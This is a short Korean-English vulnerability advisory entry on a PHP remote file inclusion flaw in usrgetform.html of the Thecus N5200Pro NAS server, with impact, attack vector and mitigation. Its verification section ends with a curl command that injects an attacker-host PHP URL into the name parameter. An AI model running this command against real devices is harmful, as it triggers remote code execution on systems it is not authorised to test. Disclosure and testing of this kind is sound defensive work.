🇰🇷 한글 설명
Thecus N5200Pro NAS 서버의 usrgetform.html에서 name 매개변수의 입력 검증 부재로 인한 원격 파일 포함(RFI) 취약점입니다. 공격자가 악의적인 PHP 파일의 URL을 전달하면 서버가 해당 코드를 실행하여 전체 시스템이 제어될 수 있습니다.
💡 쉬운 설명
NAS 서버 웹 인터페이스에서 외부 파일을 안전하지 않게 로드하는 문제입니다. 공격자가 나쁜 코드가 있는 파일 주소를 보내면 서버가 그 코드를 실행해버립니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in usrgetform.html in Thecus N5200Pro NAS Server allows remote attackers to execute arbitrary PHP code via a URL in the name parameter.
📍 영향받는 시스템
Thecus N5200Pro NAS Server
⚔️ 공격 벡터
name 파라미터에 원격 PHP 파일 URL을 주입하여 서버에서 임의의 코드 실행 유도
🛡️ 대응 방법
Thecus 공식 펌웨어 패치 적용 또는 웹 인터페이스 접근 차단 및 입력 검증 규칙 구현
🔧 검증 코드
정상 서버는 접근 거부 또는 404 응답, 취약 서버는 원격 파일 내용 또는 PHP 실행 결과 반환
curl -s 'http://[NAS_IP]/usrgetform.html?name=http://attacker.com/test.php' 2>/dev/null | head -20